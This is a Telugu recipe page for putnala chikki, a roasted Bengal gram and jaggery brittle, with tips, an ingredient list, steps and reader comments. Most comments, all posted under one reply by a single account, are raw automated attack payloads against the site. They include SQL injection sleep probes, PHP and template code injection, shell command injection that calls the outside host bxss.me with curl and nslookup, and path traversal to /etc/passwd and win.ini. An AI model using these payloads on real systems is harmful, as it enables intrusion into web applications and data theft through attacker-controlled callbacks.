పుట్నాల చిక్కీ| వేపిన సెనగపప్పు పట్టి

Sweets
5.0 AVERAGE
91 Comments

ఎన్ని చిక్కీలున్నా వేపిన సెనగపప్పు చిక్కీ మాత్రం నాకు ఎంతో ఇష్టం! చిన్నప్పటి నుండి ప్రతీ చిల్లర కొట్లలో దొరుకుతుండడంవల్లో ఏమో! అసలే ఫూడీని కదా ఎప్పుడు ఒకేలా తినడం వల్ల కాదు మరి, అందుకే ఏవేవో ప్రయోగాలు చేస్తుంటాను.

ఓ రోజు ఖర్జూరం వేసి చేస్తే ఎలా ఉంటుదని ప్రయత్నించా అందరికి నచ్చింది. రుచి ఒకే! మరి సువాసన? అని యాలకలు గింజలుగానే వేసా తిన్నవరంతా వావ్ అన్నారు. అలా ఎన్నో ఏళ్ళుగా మా ఇంట్లో చేస్తున్న చిక్కీ రెసిపీ ఇది.

వేపిన సెనగాపప్పునే కొందరు పుట్నాలు అంటారు. అసలైన తెలుగు మాట వేపిన సెనగాపప్పే!

రెసిపీ ప్రింట్ చేయడానికి
Putnala Chikki - Candied Roasted Bengal Gram | How to make Putnala Chikki

టిప్స్

పప్పు చెక్క కరకరలాడుతూ రావాలంటే:

• ముదురు పాకం రావాలి, పాకం ముదిరాక నీళ్ళలో పల్చగా ఓ తెరలా వేసి 30 సెకన్లు వదిలేసి విరపాలి. చల్లారిన పల్చని పాకం అప్పడంలా విరిగితే అది పర్ఫెక్ట్ పాకం

• కప్ బెల్లం పాకం లో వంట సోడా ¼ tsp మాత్రమే వేస్తే పాకం నురగనురగగా పొంగుతుంది. ఆ పొంగిన పాకం పప్పులకి పట్టి చల్లారాక గట్టిగా కరకరలాడుతూ ఉంటాయ్ చిక్కీలు

• పాకం మరుగుతున్నప్పుడు వేసే నెయ్యి పాకానికి మాంచి రంగునిస్తుంది

పాకం పొడిగా ఎందుకవుతుంది:

• కప్ బెల్లానికి ¼ tsp బేకింగ్ సోడానే వేయాలి అంతకు మించి వేస్తే పప్పులు వేసి కలిపాక పొడి పొడిగా అవుతుంది

చిక్కి కరిగి అంటుకోకుండా ఉండాలంటే:

• ఎయిర్ టైట్ డబ్బాలో చల్లని ప్రేదేశంలో ఉంచాలి.

సెనగపప్పుకి బదులు:

• వేపి పొట్టు తీసుకున్న వేరు సెనగపప్పు వేసుకోవచ్చు. నచ్చితే కొన్ని నువ్వులూ వేసుకోవచ్చు

• ఇంకా ఇందులో వేసిన ఎండు ఖర్జూరం, యాలక గింజలు ప్రేత్యేకమైన రుచినిస్తాయ్

• నచ్చితే గోరు వెచ్చగా ఉన్నప్పుడే చేతికి నెయ్యి రాసుకుని ఉండలు కూడా కట్టుకోవచ్చు.

More Sweets Recipes

పాలకోవా

ఈసీ కుక్కర్ పరమాన్నం | చావల్ కి ఖీర్ | పాయసం

రవ్వ లడ్డు | మా స్టైల్ లో రవ్వ లడ్డు చేస్తే తిన్న వాళ్ళు మెచ్చుకోవాల్సిందే

రవ్వ పాయసం | సులభంగా చేసుకునే కమ్మని పాయసం ఈ రవ్వ పాయసం

పుట్నాల చిక్కీ| వేపిన సెనగపప్పు పట్టి - రెసిపీ వీడియో

Putnala Chikki - Candied Roasted Bengal Gram | How to make Putnala Chikki

Sweets | vegetarian
  • Prep Time 5 mins
  • Cook Time 20 mins
  • Resting Time 1 hr
  • Total Time 1 hr 25 mins
  • Servings 8
See this Recipe in English

కావాల్సిన పదార్ధాలు

  • 1 cup బెల్లం తురుము
  • 1 cup వేపిన సెనగపప్పు
  • 3 Pieces ఖర్జూరం ముక్కలు
  • 1 tsp నెయ్యి
  • 4 - 5 యాలకల గింజలు
రెసిపీ ప్రింట్ చేయడానికి

విధానం

  1. బెల్లం తురుముని ముదురు పాకం వచ్చేలా కరిగించాలి.
  2. మరుగుతున్న పాకం లో నెయ్యి వేసుకోవాలి
  3. ముదిరిన పాకాన్ని చన్నీళ్ళలో పల్చగా వేయండి. 30 సెకన్లు వదిలేసి విరిపితే అప్పడంలా విరగాలి.
  4. పాకం అప్పడం లా విరిగితే వంట సోడా వేసి పాకాన్ని మీడియం ఫ్లేం మీద బాగా కలిపితే పొంగుతుంది
  5. పొంగిన పాకంలో ఖర్జూరం, వేపిన సెనగపప్పు, యాలక గింజలు వేసి పట్టి దగ్గరపడే దాకా మీడియం ఫ్లేం మీద కలిపి బాగా కలుపుకోవాలి. ముద్దగా అయ్యాక దిమ్పెసుకోవాలి. ముద్దగా అయిన పాకాన్ని తయారుగా ఉంచుకున్న సిల్వర్ ఫాయిల్ మౌల్డ్ లో పోసి సమంగా సర్దుకోవాలి
  6. సిల్వర్ ఫాయిల్ని మౌల్డ్ నుండి తీసి నెయ్యి రాసిన అప్పడాల కర్రతో పల్చాగా అంటే ¼ ఇంచ్ కంటే కాస్త పల్చగా వత్తుకోవాలి.
  7. వేడి మీద పప్పు చెక్క మీద గాట్లు పెట్టుకోవాలి. తరువాత రెండు-మూడు గంటలు చల్లారనివ్వాలి
  8. చల్లారిన పప్పు చెక్కని గాలి చొరని డబ్బాలో ఉంచండి.

Leave a comment

Rate this Recipe:
Your email address will not be published.

91 comments

  • S
    Sainadh Goud Bollepalli
    Recipe Rating:
    I have tried this recipe using ur beautiful tips and techniques It came very well Thank you vismai food ❤️
    2 years ago Reply
  • P
    Parchurijyothi
    Hi...Teja Garu. ..I usually follow many YouTube channels...but never leave a comment...today I was surprised that you have used every product of Sudanya for the audience...and editing was awesome...hats off for your patience Andi....thank you so much andi
    2 years ago Reply
  • S
    Santhosh
    Recipe Rating:
    ❤️
    4 years ago Reply
  • V
    Vennela
    Recipe Rating:
    Lovely recipe thanks for this
    4 years ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      @@5WTDG
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1????%2527%2522\'\"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1hlohtzGK')) OR 223=(SELECT 223 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1KoRbxQI5') OR 89=(SELECT 89 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1NiCVtNZk' OR 644=(SELECT 644 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1)) OR 354=(SELECT 354 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1) OR 435=(SELECT 435 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1 OR 169=(SELECT 169 FROM PG_SLEEP(15))--
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      19bxHidZK'; waitfor delay '0:0:15' --
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1 waitfor delay '0:0:15' --
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1); waitfor delay '0:0:15' --
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1; waitfor delay '0:0:15' --
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*if(now()=sysdate(),sleep(15),0)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      -1 OR 3+959-959-1=0+0+0+1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      -1 OR 2+959-959-1=0+0+0+1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1tSgtR9Ob
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      [php]print(md5(31337));[/php]
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      {php}print(md5(31337));{/php}
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      print(md5(31337));//
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '{${print(md5(31337))}}'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '.print(md5(31337)).'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${@print(md5(31337))}\
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${@print(md5(31337))}
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ";print(md5(31337));$a="
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ';print(md5(31337));$a='
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ".gethostbyname(lc("hitgv"."olajcoiua5e12.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(77).chr(99).chr(68)."
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      gethostbyname(lc('hitvh'.'dqofecsyc6e2b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(68).chr(118).chr(87)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '.gethostbyname(lc('hitea'.'fhsodoee5e786.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(83).chr(106).chr(76).'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ./1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ../1
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      file:///etc/passwd
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      vismaifood.com
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      https://vismaifood.com/
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      xfs.bxss.me
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      putnala-chikki-candied-roasted-bengal-gram-how-to-make-putnala-chikki/.
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      putnala-chikki-candied-roasted-bengal-gram-how-to-make-putnala-chikki
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      putnala-chikki-candied-roasted-bengal-gram-how-to-make-putnala-chikki
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1"||sleep(27*1000)*vowkhp||"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'||sleep(27*1000)*xiwjhn||'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1"&&sleep(27*1000)*jaebmb&&"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'&&sleep(27*1000)*mpomhc&&'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '"()
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ;(nslookup -q=cname hithcmppofyqu5276e.bxss.me||curl hithcmppofyqu5276e.bxss.me)|(nslookup -q=cname hithcmppofyqu5276e.bxss.me||curl hithcmppofyqu5276e.bxss.me)&(nslookup -q=cname hithcmppofyqu5276e.bxss.me||curl hithcmppofyqu5276e.bxss.me)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      'A'.concat(70-3).concat(22*4).concat(107).concat(67).concat(103).concat(76)+(require'socket' Socket.gethostbyname('hitmr'+'vmxibdefce5d9.bxss.me.')[3].to_s)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '+'A'.concat(70-3).concat(22*4).concat(111).concat(78).concat(99).concat(86)+(require'socket' Socket.gethostbyname('hitgw'+'qiyqgwww5a30c.bxss.me.')[3].to_s)+'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      `(nslookup -q=cname hityiaqvxdgio2b246.bxss.me||curl hityiaqvxdgio2b246.bxss.me)`
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      |(nslookup -q=cname hitvaeeuwilrsec4c5.bxss.me||curl hitvaeeuwilrsec4c5.bxss.me)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      "+"A".concat(70-3).concat(22*4).concat(106).concat(70).concat(117).concat(89)+(require"socket" Socket.gethostbyname("hityb"+"ssgytpuy290a5.bxss.me.")[3].to_s)+"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &(nslookup -q=cname hitxkltsjyzxt12dad.bxss.me||curl hitxkltsjyzxt12dad.bxss.me)&'\"`0&(nslookup -q=cname hitxkltsjyzxt12dad.bxss.me||curl hitxkltsjyzxt12dad.bxss.me)&`'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &nslookup -q=cname hitvsvzgrziwa4cffe.bxss.me&'\"`0&nslookup -q=cname hitvsvzgrziwa4cffe.bxss.me&`'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      $(nslookup -q=cname hitoawroqynxk8383d.bxss.me||curl hitoawroqynxk8383d.bxss.me)
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      (nslookup -q=cname hitavplgqzptceb394.bxss.me||curl hitavplgqzptceb394.bxss.me))
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1|echo wtshsu$()\ tazfdb\nz^xyu||a #' |echo wtshsu$()\ tazfdb\nz^xyu||a #|" |echo wtshsu$()\ tazfdb\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      |echo nqotcb$()\ cqoapu\nz^xyu||a #' |echo nqotcb$()\ cqoapu\nz^xyu||a #|" |echo nqotcb$()\ cqoapu\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1&echo npnvja$()\ eqmjez\nz^xyu||a #' &echo npnvja$()\ eqmjez\nz^xyu||a #|" &echo npnvja$()\ eqmjez\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ^(#$!@#$)(()))******
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &echo yzavhe$()\ fiduqo\nz^xyu||a #' &echo yzavhe$()\ fiduqo\nz^xyu||a #|" &echo yzavhe$()\ fiduqo\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      !(()&&!|*|*|
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      echo xpqgxe$()\ idayfy\nz^xyu||a #' &echo xpqgxe$()\ idayfy\nz^xyu||a #|" &echo xpqgxe$()\ idayfy\nz^xyu||a #
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      bxss.me
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      c:/windows/win.ini
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ../../../../../../../../../../../../../../etc/shells
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      /etc/shells
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      http://bxss.me/t/fit.txt?.jpg
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      Http://bxss.me/t/fit.txt
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1&n923329=v949049
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${9999780+10000023}
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      12345'"\'\");|]*{ ?''💡
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      4wqL3IBQ: hgxyJGHd
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ftG2OFPD
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      "+response.write(9886221*9760680)+"
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '+response.write(9886221*9760680)+'
      2 weeks ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      response.write(9886221*9760680)
      2 weeks ago Reply
Putnala Chikki - Candied Roasted Bengal Gram | How to make Putnala Chikki